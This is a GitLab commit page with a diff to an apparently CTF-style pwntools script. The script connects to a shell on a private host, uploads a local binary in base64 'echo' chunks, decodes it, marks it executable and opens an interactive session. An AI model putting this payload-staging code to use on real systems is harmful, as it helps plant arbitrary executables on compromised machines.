Skip to content
Snippets Groups Projects
Commit dfd1be33 authored by Lukas Kotschi's avatar Lukas Kotschi :speech_balloon: Committed by dex
Browse files

Fixed bug, added functionality

parent 88b98432
No related branches found
No related tags found
1 merge request!1Fixed bug, added functionality
#!/usr/bin/env python
import sys
import os
from pwn import *
from pwn import context, log, remote
from base64 import b64encode
HOST = "10.0.23.24"
......@@ -11,13 +11,17 @@ PORT = 31337
context.log_level = 'info'
#context.log_level = 'debug'
filename = "x"
remote_filename = "x"
is_executable = True
### SPLOIT ###
CHUNKSIZE = 64
def connect():
log.info(p.recvuntil("$ "))
with open("./x", "rb") as f:
with open(filename, "rb") as f:
data = f.read()
data = b64encode(data).decode()
......@@ -26,15 +30,28 @@ def connect():
nchunks = ldata // CHUNKSIZE
rchunks = ldata % CHUNKSIZE
progress = log.progress("Transmitting {}".format(filename))
import IPython; IPython.embed()
assert nchunks * CHUNKSIZE + rchunks == ldata
for idx in range(0,nchunks):
p.sendline("echo -n \"{}\" >> x.b64".format(data[(idx*CHUNKSIZE):(idx+1)*CHUNKSIZE]))
progress.status(str(idx * CHUNKSIZE) + " / " + str(ldata))
p.sendline("echo -n \"{}\" >> {}.b64".format(data[(idx*CHUNKSIZE):(idx+1)*CHUNKSIZE], remote_filename))
p.recvuntil("$ ")
if rchunks:
p.sendline("echo -n \"{}\" >> {}.b64".format(data[(-1)*rchunks:], remote_filename))
p.recvuntil("$ ")
p.sendline("echo -n \"{}\" >> x.b64".format(data[(-1)*rchunks:]))
progress.success("Finished.")
p.sendline("cat {}.b64 | base64 -d > {}".format(remote_filename, remote_filename))
log.info(p.recvuntil("$ "))
if is_executable:
p.sendline("chmod +x {}".format(remote_filename))
log.info(p.recvuntil("$ "))
log.info("ldata: {}".format(ldata))
p.interactive()
return
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment